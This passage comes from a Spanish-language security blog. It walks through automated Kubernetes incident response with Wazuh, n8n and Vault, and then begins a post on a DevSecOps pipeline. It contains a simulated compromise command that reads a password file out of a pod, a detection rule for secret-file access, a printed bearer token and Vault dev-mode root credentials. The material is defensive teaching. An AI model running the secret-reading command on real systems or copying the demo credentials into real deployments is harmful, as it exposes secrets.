    <span class="hljs-keyword">if</span> rule_level &gt;= <span class="hljs-number">12</span> <span class="hljs-keyword">and</span> namespace != <span class="hljs-string">'unknown'</span> <span class="hljs-keyword">and</span> pod != <span class="hljs-string">'unknown'</span>:
        print(<span class="hljs-string">f"FORENSICS - Collecting evidence for <span class="hljs-subst">{namespace}</span>/<span class="hljs-subst">{pod}</span>"</span>)

        os.makedirs(FORENSICS_DIR, exist_ok=<span class="hljs-literal">True</span>)
        timestamp_str = datetime.now().strftime(<span class="hljs-string">'%Y%m%d_%H%M%S'</span>)
        evidence_file = <span class="hljs-string">f"<span class="hljs-subst">{FORENSICS_DIR}</span>/<span class="hljs-subst">{namespace}</span>_<span class="hljs-subst">{pod}</span>_<span class="hljs-subst">{timestamp_str}</span>.txt"</span>

        <span class="hljs-keyword">with</span> open(evidence_file, <span class="hljs-string">'w'</span>) <span class="hljs-keyword">as</span> f:
            f.write(<span class="hljs-string">"="</span> * <span class="hljs-number">80</span> + <span class="hljs-string">"\n"</span>)
            f.write(<span class="hljs-string">"FORENSICS REPORT - FALCO SECURITY INCIDENT\n"</span>)
            f.write(<span class="hljs-string">"="</span> * <span class="hljs-number">80</span> + <span class="hljs-string">"\n\n"</span>)

            f.write(<span class="hljs-string">f"Alert ID: <span class="hljs-subst">{payload[<span class="hljs-string">'alert_id'</span>]}</span>\n"</span>)
            f.write(<span class="hljs-string">f"Timestamp: <span class="hljs-subst">{payload[<span class="hljs-string">'timestamp'</span>]}</span>\n"</span>)
            f.write(<span class="hljs-string">f"Rule: <span class="hljs-subst">{rule_id}</span> (Level <span class="hljs-subst">{rule_level}</span>)\n"</span>)
            f.write(<span class="hljs-string">f"Description: <span class="hljs-subst">{payload[<span class="hljs-string">'rule_description'</span>]}</span>\n"</span>)
            f.write(<span class="hljs-string">f"MITRE ATT&amp;CK: <span class="hljs-subst">{mitre_id}</span>\n\n"</span>)

            f.write(<span class="hljs-string">f"Namespace: <span class="hljs-subst">{namespace}</span>\n"</span>)
            f.write(<span class="hljs-string">f"Pod: <span class="hljs-subst">{pod}</span>\n"</span>)
            f.write(<span class="hljs-string">f"Container ID: <span class="hljs-subst">{payload[<span class="hljs-string">'container_id'</span>]}</span>\n"</span>)
            f.write(<span class="hljs-string">f"User: <span class="hljs-subst">{payload[<span class="hljs-string">'user'</span>]}</span>\n\n"</span>)

            f.write(<span class="hljs-string">f"Suspicious Command: <span class="hljs-subst">{payload[<span class="hljs-string">'command'</span>]}</span>\n"</span>)
            f.write(<span class="hljs-string">f"File Accessed: <span class="hljs-subst">{payload[<span class="hljs-string">'file_accessed'</span>]}</span>\n"</span>)
            f.write(<span class="hljs-string">f"Falco Rule: <span class="hljs-subst">{payload[<span class="hljs-string">'falco_rule'</span>]}</span>\n\n"</span>)

            f.write(<span class="hljs-string">"="</span> * <span class="hljs-number">80</span> + <span class="hljs-string">"\n"</span>)
            f.write(<span class="hljs-string">"POD LOGS (last 100 lines)\n"</span>)
            f.write(<span class="hljs-string">"="</span> * <span class="hljs-number">80</span> + <span class="hljs-string">"\n\n"</span>)

            <span class="hljs-keyword">try</span>:
                logs = subprocess.run(
                    [KUBECTL, <span class="hljs-string">'logs'</span>, pod, <span class="hljs-string">'-n'</span>, namespace, <span class="hljs-string">'--tail=100'</span>],
                    capture_output=<span class="hljs-literal">True</span>, text=<span class="hljs-literal">True</span>, timeout=<span class="hljs-number">15</span>
                )
                f.write(logs.stdout <span class="hljs-keyword">if</span> logs.returncode == <span class="hljs-number">0</span> <span class="hljs-keyword">else</span> <span class="hljs-string">f"Error: <span class="hljs-subst">{logs.stderr}</span>\n"</span>)
            <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
                f.write(<span class="hljs-string">f"Error capturing logs: <span class="hljs-subst">{e}</span>\n"</span>)

            f.write(<span class="hljs-string">"\n"</span> + <span class="hljs-string">"="</span> * <span class="hljs-number">80</span> + <span class="hljs-string">"\n"</span>)
            f.write(<span class="hljs-string">"POD DESCRIPTION\n"</span>)
            f.write(<span class="hljs-string">"="</span> * <span class="hljs-number">80</span> + <span class="hljs-string">"\n\n"</span>)

            <span class="hljs-keyword">try</span>:
                describe = subprocess.run(
                    [KUBECTL, <span class="hljs-string">'describe'</span>, <span class="hljs-string">'pod'</span>, pod, <span class="hljs-string">'-n'</span>, namespace],
                    capture_output=<span class="hljs-literal">True</span>, text=<span class="hljs-literal">True</span>, timeout=<span class="hljs-number">15</span>
                )
                f.write(describe.stdout <span class="hljs-keyword">if</span> describe.returncode == <span class="hljs-number">0</span> <span class="hljs-keyword">else</span> <span class="hljs-string">f"Error: <span class="hljs-subst">{describe.stderr}</span>\n"</span>)
            <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
                f.write(<span class="hljs-string">f"Error describing pod: <span class="hljs-subst">{e}</span>\n"</span>)

            f.write(<span class="hljs-string">"\n"</span> + <span class="hljs-string">"="</span> * <span class="hljs-number">80</span> + <span class="hljs-string">"\n"</span>)
            f.write(<span class="hljs-string">"POD YAML MANIFEST\n"</span>)
            f.write(<span class="hljs-string">"="</span> * <span class="hljs-number">80</span> + <span class="hljs-string">"\n\n"</span>)

            <span class="hljs-keyword">try</span>:
                yaml_out = subprocess.run(
                    [KUBECTL, <span class="hljs-string">'get'</span>, <span class="hljs-string">'pod'</span>, pod, <span class="hljs-string">'-n'</span>, namespace, <span class="hljs-string">'-o'</span>, <span class="hljs-string">'yaml'</span>],
                    capture_output=<span class="hljs-literal">True</span>, text=<span class="hljs-literal">True</span>, timeout=<span class="hljs-number">15</span>
                )
                f.write(yaml_out.stdout <span class="hljs-keyword">if</span> yaml_out.returncode == <span class="hljs-number">0</span> <span class="hljs-keyword">else</span> <span class="hljs-string">f"Error: <span class="hljs-subst">{yaml_out.stderr}</span>\n"</span>)
            <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
                f.write(<span class="hljs-string">f"Error getting YAML: <span class="hljs-subst">{e}</span>\n"</span>)

            f.write(<span class="hljs-string">"\n"</span> + <span class="hljs-string">"="</span> * <span class="hljs-number">80</span> + <span class="hljs-string">"\n"</span>)
            f.write(<span class="hljs-string">"END OF REPORT\n"</span>)
            f.write(<span class="hljs-string">"="</span> * <span class="hljs-number">80</span> + <span class="hljs-string">"\n"</span>)

        subprocess.run([<span class="hljs-string">'gzip'</span>, <span class="hljs-string">'-f'</span>, evidence_file])
        evidence_file_gz = <span class="hljs-string">f"<span class="hljs-subst">{evidence_file}</span>.gz"</span>

        print(<span class="hljs-string">f"FORENSICS - Evidence saved: <span class="hljs-subst">{evidence_file_gz}</span>"</span>)

        forensics_payload = payload.copy()
        forensics_payload[<span class="hljs-string">'evidence_file'</span>] = evidence_file_gz
        forensics_payload[<span class="hljs-string">'evidence_collected'</span>] = <span class="hljs-literal">True</span>

        result = subprocess.run(
            [<span class="hljs-string">'curl'</span>, <span class="hljs-string">'-X'</span>, <span class="hljs-string">'POST'</span>, N8N_FORENSICS,
             <span class="hljs-string">'-H'</span>, <span class="hljs-string">'Content-Type: application/json'</span>,
             <span class="hljs-string">'-d'</span>, json.dumps(forensics_payload),
             <span class="hljs-string">'--max-time'</span>, <span class="hljs-string">'10'</span>],
            capture_output=<span class="hljs-literal">True</span>, text=<span class="hljs-literal">True</span>
        )
        print(<span class="hljs-string">f"FORENSICS - Notification sent to Slack"</span>)
        time.sleep(<span class="hljs-number">2</span>)

    <span class="hljs-comment"># ============================================================================</span>
    <span class="hljs-comment"># 3. CONTAINMENT - Delegado a N8N</span>
    <span class="hljs-comment"># ============================================================================</span>
    CONTAINMENT_RULES = [<span class="hljs-string">'100625'</span>, <span class="hljs-string">'100650'</span>]
    is_production = namespace == <span class="hljs-string">'production'</span>
    is_vault_enabled = <span class="hljs-string">'vault'</span> <span class="hljs-keyword">in</span> pod.lower()
    is_secret_access = (
        <span class="hljs-string">'/tmp/app-config/'</span> <span class="hljs-keyword">in</span> payload[<span class="hljs-string">'file_accessed'</span>] <span class="hljs-keyword">or</span>
        <span class="hljs-string">'/etc/secrets/'</span> <span class="hljs-keyword">in</span> payload[<span class="hljs-string">'file_accessed'</span>]
    )

    should_contain = (
        rule_id <span class="hljs-keyword">in</span> CONTAINMENT_RULES <span class="hljs-keyword">or</span>
        (is_production <span class="hljs-keyword">and</span> is_vault_enabled <span class="hljs-keyword">and</span> is_secret_access <span class="hljs-keyword">and</span> rule_level &gt;= <span class="hljs-number">12</span>)
    )

    <span class="hljs-keyword">if</span> should_contain:
        print(<span class="hljs-string">f"CONTAINMENT - Delegating to N8N for <span class="hljs-subst">{namespace}</span>/<span class="hljs-subst">{pod}</span>"</span>)
        print(<span class="hljs-string">f"  - Production: <span class="hljs-subst">{is_production}</span>"</span>)
        print(<span class="hljs-string">f"  - Vault-enabled: <span class="hljs-subst">{is_vault_enabled}</span>"</span>)
        print(<span class="hljs-string">f"  - Secret access: <span class="hljs-subst">{is_secret_access}</span>"</span>)
        print(<span class="hljs-string">f"  - Rule: <span class="hljs-subst">{rule_id}</span>, Level: <span class="hljs-subst">{rule_level}</span>"</span>)

        <span class="hljs-comment"># Enviar a N8N - él se encarga de todo</span>
        containment_payload = payload.copy()
        containment_payload[<span class="hljs-string">'action_required'</span>] = <span class="hljs-string">'ROTATE_AND_KILL'</span>
        containment_payload[<span class="hljs-string">'trigger_reason'</span>] = <span class="hljs-string">f"Rule <span class="hljs-subst">{rule_id}</span> - Level <span class="hljs-subst">{rule_level}</span>"</span>

        result = subprocess.run(
            [<span class="hljs-string">'curl'</span>, <span class="hljs-string">'-X'</span>, <span class="hljs-string">'POST'</span>, N8N_CONTAINMENT,
             <span class="hljs-string">'-H'</span>, <span class="hljs-string">'Content-Type: application/json'</span>,
             <span class="hljs-string">'-d'</span>, json.dumps(containment_payload),
             <span class="hljs-string">'--max-time'</span>, <span class="hljs-string">'10'</span>],
            capture_output=<span class="hljs-literal">True</span>, text=<span class="hljs-literal">True</span>
        )
        print(<span class="hljs-string">f"CONTAINMENT - Delegated to N8N workflow"</span>)
        print(<span class="hljs-string">f"  N8N will: 1) Rotate secret in Vault, 2) Delete pod via K8s API"</span>)

    sys.exit(<span class="hljs-number">0</span>)

<span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
    print(<span class="hljs-string">f"ERROR: <span class="hljs-subst">{str(e)}</span>"</span>)
    <span class="hljs-keyword">import</span> traceback
    traceback.print_exc()
    sys.exit(<span class="hljs-number">1</span>)
</code></pre>
<p>Y el Wrapper en <code>/var/ossec/active-response/bin/n8n-webhook.sh</code>.</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>

LOCAL=`dirname <span class="hljs-variable">$0</span>`
<span class="hljs-built_in">cd</span> <span class="hljs-variable">$LOCAL</span>
PWD=`<span class="hljs-built_in">pwd</span>`

<span class="hljs-built_in">read</span> INPUT_JSON

mkdir -p /var/ossec/logs/active-response

<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-subst">$(date '+%Y-%m-%d %H:%M:%S')</span> - Processing alert"</span> &gt;&gt; /var/ossec/logs/active-response/n8n-webhook.log

<span class="hljs-comment"># Llamar al script Python que hace todo</span>
RESULT=$(<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$INPUT_JSON</span>"</span> | /var/ossec/active-response/bin/parse-and-send.py 2&gt;&amp;1)

<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$RESULT</span>"</span> &gt;&gt; /var/ossec/logs/active-response/n8n-webhook.log
<span class="hljs-built_in">echo</span> <span class="hljs-string">"---"</span> &gt;&gt; /var/ossec/logs/active-response/n8n-webhook.log

<span class="hljs-built_in">exit</span> 0
</code></pre>
<h3 id="heading-n8n">N8N</h3>
<p>Voy a usar <em>Kubectl</em> para acceder.</p>
<pre><code class="lang-basic">kubectl port-forward -n automation svc/n8n <span class="hljs-number">5678</span>:<span class="hljs-number">5678</span> --address=<span class="hljs-number">0.0.0.0</span>
</code></pre>
<p>Vamos a importar el flujo de trabajo para obtener estos 3 caminos. El <em>Triage</em> nos avisa del compromiso, <em>Forensic</em> obtiene los registros para la investigación y <em>Containment</em> se encarga de rotar el secreto en Vault, eliminar el Pod y darnos el estado. Te dejo el <a target="_blank" href="https://files.catbox.moe/97zlxm.json">workflow</a> para que importes.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764589359392/08edcb91-0ebe-436b-92f4-fac2fdeeef62.png" alt class="image--center mx-auto" /></p>
<p>Para que N8N pueda comunicarse con Kubernetes, crearemos una cuenta de servicio que solo tenga permisos para eliminar Pods, de esta manera obtendremos el Bearer necesario para usar.</p>
<pre><code class="lang-basic">apiVersion: v1
kind: ServiceAccount
metadata:
  <span class="hljs-keyword">name</span>: n8n-incident-response
  namespace: automation
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  <span class="hljs-keyword">name</span>: n8n-incident-response
rules:
- apiGroups: [<span class="hljs-string">""</span>]
  resources: [<span class="hljs-string">"pods"</span>]
  verbs: [<span class="hljs-string">"get"</span>, <span class="hljs-string">"list"</span>, <span class="hljs-string">"delete"</span>]
- apiGroups: [<span class="hljs-string">""</span>]
  resources: [<span class="hljs-string">"pods/log"</span>]
  verbs: [<span class="hljs-string">"get"</span>]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  <span class="hljs-keyword">name</span>: n8n-incident-response
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  <span class="hljs-keyword">name</span>: n8n-incident-response
subjects:
- kind: ServiceAccount
  <span class="hljs-keyword">name</span>: n8n-incident-response
  namespace: automation
---
apiVersion: v1
kind: Secret
metadata:
  <span class="hljs-keyword">name</span>: n8n-incident-response-token
  namespace: automation
  annotations:
    kubernetes.io/service-account.<span class="hljs-keyword">name</span>: n8n-incident-response
type: kubernetes.io/service-account-token
</code></pre>
<p>Te dejo los comandos para poder listar el token.</p>
<pre><code class="lang-bash">TOKEN=$(kubectl -n automation get secret n8n-incident-response-token -o jsonpath=<span class="hljs-string">'{.data.token}'</span> | base64 --decode)
kubectl -n automation get secret n8n-incident-response-token -o jsonpath=<span class="hljs-string">'{.data.ca\.crt}'</span> | base64 --decode &gt; ca.crt
APISERVER=$(kubectl config view --minify -o jsonpath=<span class="hljs-string">'{.clusters[0].cluster.server}'</span>)

<span class="hljs-built_in">echo</span> Bearer <span class="hljs-variable">$TOKEN</span>
Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjFiaG1pd19KOHJJYnZkbWlhSkptdWl3dHNXZEFmMW9WeWZIRWp1NS0xVW8ifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJhdXRvbWF0aW9uIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6Im44bi1pbmNpZGVudC1yZXNwb25zZS10b2tlbiIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJuOG4taW5jaWRlbnQtcmVzcG9uc2UiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiI0MzJlYTQ2NC0yMmIwLTQ3ZjktYTE2NS01ZGY3YTgxYzM2OTEiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6YXV0b21hdGlvbjpuOG4taW5jaWRlbnQtcmVzcG9uc2UifQ.gMa6wGi0SpTrfRYLD5DoOUhH3I19U2v0_brgQaWGtYoOBJyQaavBQOijV4yad6My2theSQVoRVHDseO_pYKBLuc3MhggOxaN2dOLGe3oB3kKQ3TGeTxFlIWYV9tBH7_5SBLoASfuet4frimfkL03sgb5lYx93IdSgMDewQGA_RVVH0McVOwignR43KHARYqwgraqwAjPaD9hdEf5Y3i7v0hPhgln-gBc42B7q3lYCjXyjFCtvictPJ2813AhMNoKy2aLVACjsc9UDfZy1e4yV9ZQQ3QCQyfjPTLq2XXW_ob1sJGl2jmmcu73i23ZXuaVCgi-5zm5gKGlh0bdchWP3A
</code></pre>
<p>Creamos la credencial para el Kubernetes HTTP Request Delete Pod.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764590770562/dcf51867-e554-4315-a44a-9c7486269990.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>Tienes que añadir el token para el bot de Slack también.</p>
</blockquote>
<h3 id="heading-vault">Vault</h3>
<p>Vamos a instalar Vault en el namespace <code>automation</code>.</p>
<pre><code class="lang-basic"># Agregar repo de Vault (si no lo tenés)
helm repo add hashicorp https://helm.releases.hashicorp.<span class="hljs-keyword">com</span>
helm repo update

# Instalar Vault en modo DEV (para POC)
cat &gt; vault-values.yaml &lt;&lt; <span class="hljs-comment">'EOF'</span>
server:
  dev:
    enabled: true
    devRootToken: <span class="hljs-string">"root"</span>

  standalone:
    enabled: true

  service:
    type: NodePort
    nodePort: <span class="hljs-number">30200</span>

  dataStorage:
    enabled: false

ui:
  enabled: true
  serviceType: NodePort

injector:
  enabled: false
<span class="hljs-keyword">EOF</span>

helm install vault hashicorp/vault \
  -f vault-values.yaml \
  -n automation --create-namespace

# Esperar
kubectl <span class="hljs-keyword">wait</span> --<span class="hljs-keyword">for</span>=condition=ready pod -l app.kubernetes.io/<span class="hljs-keyword">name</span>=vault -n automation --timeout=<span class="hljs-number">300</span>s

# Verificar
kubectl <span class="hljs-keyword">get</span> pod -n automation -l app.kubernetes.io/<span class="hljs-keyword">name</span>=vault
</code></pre>
<p>Ahora generamos el secreto, para que sea consumido.</p>
<pre><code class="lang-basic"># Port forward para acceder a Vault UI
kubectl port-forward -n automation svc/vault <span class="hljs-number">8200</span>:<span class="hljs-number">8200</span> &amp;

# Acceder a Vault
export VAULT_ADDR=<span class="hljs-comment">'http://127.0.0.1:8200'</span>
export VAULT_TOKEN=<span class="hljs-comment">'root'</span>

# O desde el pod
kubectl exec -it vault-<span class="hljs-number">0</span> -n automation -- vault login root

# Habilitar KV v2 secrets engine
kubectl exec -it vault-<span class="hljs-number">0</span> -n automation -- vault secrets enable -path=secret kv-v2

# Crear secreto inicial para producción
kubectl exec -it vault-<span class="hljs-number">0</span> -n automation -- vault kv <span class="hljs-keyword">put</span> secret/production/db-credentials \
  username=admin \
  password=InitialSecretP@ssw0rd123 \
  api_key=sk-prod-initial-<span class="hljs-keyword">key</span> \
  version=<span class="hljs-number">1</span>
</code></pre>
<h3 id="heading-aplicacion">Aplicación</h3>
<p>Now it's time for the application to read the password from <strong>Vault</strong>. The <code>webapp-vault</code> pod will be created in the <code>production</code> namespace. Remember that many of our rules use the namespace as a condition.</p>
<pre><code class="lang-basic">apiVersion: v1
kind: ConfigMap
metadata:
  <span class="hljs-keyword">name</span>: vault-reader-script
  namespace: production
<span class="hljs-keyword">data</span>:
  <span class="hljs-keyword">read</span>-secrets.sh: |
    #!/bin/sh

    VAULT_ADDR=<span class="hljs-string">"http://vault.automation.svc.cluster.local:8200"</span>
    VAULT_TOKEN=<span class="hljs-string">"root"</span>
    SECRET_PATH=<span class="hljs-string">"secret/data/production/db-credentials"</span>

    echo <span class="hljs-string">"============================================"</span>
    echo <span class="hljs-string">"🔐 VAULT-ENABLED APPLICATION"</span>
    echo <span class="hljs-string">"============================================"</span>
    echo <span class="hljs-string">"Vault: $VAULT_ADDR"</span>
    echo <span class="hljs-string">"Pod: $(hostname)"</span>
    echo <span class="hljs-string">"Timestamp: $(date)"</span>
    echo <span class="hljs-string">""</span>

    echo <span class="hljs-string">"📡 Connecting to Vault..."</span>
    SECRET_JSON=$(wget -q -O - \
      --header <span class="hljs-string">"X-Vault-Token: $VAULT_TOKEN"</span> \
      <span class="hljs-string">"$VAULT_ADDR/v1/$SECRET_PATH"</span>)

    <span class="hljs-keyword">if</span> [ $? -ne <span class="hljs-number">0</span> ]; <span class="hljs-keyword">then</span>
      echo <span class="hljs-string">"❌ Failed to connect to Vault"</span>
      sleep <span class="hljs-number">30</span>
      exit <span class="hljs-number">1</span>
    fi

    DB_USERNAME=$(echo <span class="hljs-string">"$SECRET_JSON"</span> | sed -n <span class="hljs-comment">'s/.*"username":"\([^"]*\)".*/\1/p')</span>
    DB_PASSWORD=$(echo <span class="hljs-string">"$SECRET_JSON"</span> | sed -n <span class="hljs-comment">'s/.*"password":"\([^"]*\)".*/\1/p')</span>
    API_KEY=$(echo <span class="hljs-string">"$SECRET_JSON"</span> | sed -n <span class="hljs-comment">'s/.*"api_key":"\([^"]*\)".*/\1/p')</span>
    SECRET_VERSION=$(echo <span class="hljs-string">"$SECRET_JSON"</span> | sed -n <span class="hljs-comment">'s/.*"version":\([0-9]*\).*/\1/p')</span>

    <span class="hljs-keyword">if</span> [ -z <span class="hljs-string">"$DB_PASSWORD"</span> ]; <span class="hljs-keyword">then</span>
      echo <span class="hljs-string">"❌ Failed to parse secrets"</span>
      exit <span class="hljs-number">1</span>
    fi

    echo <span class="hljs-string">"✅ Secrets loaded successfully!"</span>
    echo <span class="hljs-string">""</span>
    echo <span class="hljs-string">"📊 Configuration:"</span>
    echo <span class="hljs-string">"  Username: $DB_USERNAME"</span>
    echo <span class="hljs-string">"  Password: ${DB_PASSWORD:0:4}***${DB_PASSWORD: -3}"</span>
    echo <span class="hljs-string">"  API Key: ${API_KEY:0:12}***"</span>
    echo <span class="hljs-string">"  Vault Version: ${SECRET_VERSION}"</span>
    echo <span class="hljs-string">""</span>

    <span class="hljs-keyword">mkdir</span> -p /tmp/app-config
    echo <span class="hljs-string">"$DB_USERNAME"</span> &gt; /tmp/app-config/username
    echo <span class="hljs-string">"$DB_PASSWORD"</span> &gt; /tmp/app-config/password
    echo <span class="hljs-string">"$API_KEY"</span> &gt; /tmp/app-config/api-<span class="hljs-keyword">key</span>
    echo <span class="hljs-string">"${SECRET_VERSION}"</span> &gt; /tmp/app-config/secret-version
    chmod <span class="hljs-number">600</span> /tmp/app-config/*

    echo <span class="hljs-string">"✅ Config files created at /tmp/app-config/"</span>
    ls -la /tmp/app-config/
    echo <span class="hljs-string">""</span>
    echo <span class="hljs-string">"============================================"</span>
    echo <span class="hljs-string">"🚀 APPLICATION RUNNING"</span>
    echo <span class="hljs-string">"============================================"</span>
    echo <span class="hljs-string">"Using Vault secret version: ${SECRET_VERSION}"</span>
    echo <span class="hljs-string">""</span>

    COUNTER=<span class="hljs-number">0</span>
    <span class="hljs-keyword">while</span> true; do
      COUNTER=$((COUNTER + <span class="hljs-number">1</span>))
      echo <span class="hljs-string">"[$(date '+%H:%M:%S')] Heartbeat #$COUNTER - Vault version ${SECRET_VERSION}"</span>
      sleep <span class="hljs-number">30</span>
    done
---
apiVersion: apps/v1
kind: Deployment
metadata:
  <span class="hljs-keyword">name</span>: webapp-vault
  namespace: production
  labels:
    app: webapp-vault
spec:
  replicas: <span class="hljs-number">1</span>
  selector:
    matchLabels:
      app: webapp-vault
  template:
    metadata:
      labels:
        app: webapp-vault
        env: production
        vault-enabled: <span class="hljs-string">"true"</span>
    spec:
      containers:
      - <span class="hljs-keyword">name</span>: webapp
        image: busybox
        command: [<span class="hljs-string">"/bin/sh"</span>, <span class="hljs-string">"/scripts/read-secrets.sh"</span>]
        volumeMounts:
        - <span class="hljs-keyword">name</span>: scripts
          mountPath: /scripts
      volumes:
      - <span class="hljs-keyword">name</span>: scripts
        configMap:
          <span class="hljs-keyword">name</span>: vault-reader-script
          defaultMode: <span class="hljs-number">0755</span>
</code></pre>
<h3 id="heading-simulacion-de-compromiso">Simulación de Compromiso</h3>
<p>Ahora la parte que el atacante o el desarrollador curioso quiere leer una variable de entorno.</p>
<pre><code class="lang-basic"># <span class="hljs-number">1.</span> Obtener nombre del pod
POD=$(kubectl <span class="hljs-keyword">get</span> pod -n production -l app=webapp-vault -o jsonpath=<span class="hljs-comment">'{.items[0].metadata.name}')</span>

echo <span class="hljs-string">"Pod actual: $POD"</span>

# <span class="hljs-number">2.</span> Simular compromiso
kubectl exec $POD -n production -- cat /tmp/app-config/password
</code></pre>
<p>Uala!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764592628280/22223cec-b1a3-439e-bd64-19d23addee48.png" alt class="image--center mx-auto" /></p>
<p>Mientas tanto en <strong>Wazuh</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764592947022/ea9e643d-250d-44ec-a131-fe0401ed0137.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-comandos-utiles">Comandos Utiles</h3>
<pre><code class="lang-bash"><span class="hljs-comment"># Para ver los logs del Python</span>
tail -f /var/ossec/logs/active-response/n8n-webhook.log
<span class="hljs-comment"># Ver Alertas de Wazuh</span>
tail -f /var/ossec/logs/alerts/alerts.log | grep -i <span class="hljs-string">"falco"</span>
</code></pre>
<h3 id="heading-referencias">Referencias</h3>
<p><a target="_blank" href="https://blog.santiagoagustinfernandez.com/runtime-security-con-falco#heading-instalacion-de-falco-via-helm">https://blog.santiagoagustinfernandez.com/runtime-security-con-falco#heading-instalacion-de-falco-via-helm</a></p>
]]></content:encoded></item><item><title><![CDATA[Superpipeline DevSecOps con IA]]></title><description><![CDATA[En el mundo del desarrollo moderno, la seguridad no puede ser una idea tardía. Los equipos enfrentan el desafío constante de mantener la velocidad de desarrollo sin comprometer la seguridad de sus aplicaciones. Este artículo documenta la construcción...]]></description><link>https://blog.santiagoagustinfernandez.com/superpipeline-devsecops-con-ia</link><guid isPermaLink="true">https://blog.santiagoagustinfernandez.com/superpipeline-devsecops-con-ia</guid><category><![CDATA[Pipeline]]></category><category><![CDATA[GitLab]]></category><category><![CDATA[n8n]]></category><category><![CDATA[DevSecOps]]></category><dc:creator><![CDATA[Santiago Fernandez]]></dc:creator><pubDate>Fri, 14 Nov 2025 23:32:33 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1763137110466/2a483236-5b18-47e0-9c28-a23bd516805a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>En el mundo del desarrollo moderno, <strong>la seguridad no puede ser una idea tardía</strong>. Los equipos enfrentan el desafío constante de mantener la velocidad de desarrollo sin comprometer la seguridad de sus aplicaciones. Este artículo documenta la construcción de un pipeline DevSecOps completo que integra seguridad automatizada, análisis con IA y visibilidad centralizada.</p>
<h3 id="heading-el-desafio">El Desafío</h3>
<p>Como profesional de ciberseguridad, me enfrenté a varios problemas comunes en equipos de desarrollo:</p>
<ol>
<li><p><strong>Secretos hardcodeados</strong> que terminan en producción</p>
</li>
<li><p><strong>Vulnerabilidades en dependencias</strong> que pasan desapercibidas</p>
</li>
<li><p><strong>Código inseguro</strong> que se detecta demasiado tarde</p>
</li>
<li><p><strong>Falta de visibilidad</strong> sobre el estado de seguridad real</p>
</li>
<li><p><strong>Errores de pipeline</strong> sin contexto ni soluciones claras</p>
</li>
</ol>
<p>La pregunta era: <strong>¿Cómo podemos hacer que la seguridad sea automática, informativa y no obstructiva</strong> La Solución: Un Pipeline DevSecOps con IA</p>
<p>Construí un pipeline completo que combina:</p>
<ul>
<li><p><strong>GitLab CI/CD</strong> para orquestación</p>
</li>
<li><p><strong>4 herramientas de seguridad</strong> (Bandit, Safety, GitLeaks, Trivy)</p>
</li>
<li><p><strong>DefectDojo</strong> para gestión de vulnerabilidades</p>
</li>
<li><p><strong>n8n</strong> para automatización inteligente</p>
</li>
<li><p><strong>Ollama (Mistral 7B)</strong> para análisis de errores con IA</p>
</li>
<li><p><strong>Slack</strong> para notificaciones contextuales</p>
</li>
<li><p><strong>Kubernetes (k3s)</strong> para deployment</p>
</li>
<li><p><strong>Cloudflare Tunnel</strong> para exposición segura</p>
</li>
</ul>
<p>Vamos a descargar el repositorio que tengo los archivos ahi. Primero echamos a correr nuestro docker compose, para levantar el stack.</p>
<pre><code class="lang-bash">❯ sudo git <span class="hljs-built_in">clone</span> https://github.com/safernandez666/devsecopsia.git
Clonando en <span class="hljs-string">'devsecopsia'</span>...
remote: Enumerating objects: 29, <span class="hljs-keyword">done</span>.
remote: Counting objects: 100% (29/29), <span class="hljs-keyword">done</span>.
remote: Compressing objects: 100% (23/23), <span class="hljs-keyword">done</span>.
remote: Total 29 (delta 6), reused 27 (delta 4), pack-reused 0 (from 0)
Recibiendo objetos: 100% (29/29), 16.45 KiB | 1.10 MiB/s, listo.
Resolviendo deltas: 100% (6/6), listo.
</code></pre>
<p>Vamos a echarlo a correr.</p>
<pre><code class="lang-bash">docker compose up
</code></pre>
<h3 id="heading-kubernetes">Kubernetes</h3>
<p>Como pueden ver, tenemos <strong>k3s</strong> como nodo de Kubernetes. Se generará una carpeta llamada k3s-kubeconfig. Lo primero que haremos es configurarla para poder gestionarla mediante <strong>kubectl</strong>.</p>
<pre><code class="lang-bash"><span class="hljs-built_in">export</span> KUBECONFIG=/Users/santiago/Proyects/devsecopsia/k3s-kubeconfig/kubeconfig.yaml
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763153660549/a0dbb4b4-d172-417c-a5b9-93b5b64a794c.png" alt class="image--center mx-auto" /></p>
<p>Nuestro clúster está en funcionamiento. Vamos a desplegar manualmente nuestra aplicación usando <code>kubectl apply -f k8s/</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763160975430/97e538cd-a26f-4cab-8ff8-fa1cff88a43f.png" alt class="image--center mx-auto" /></p>
<p>¡Listo! Nuestra aplicación está funcionando.</p>
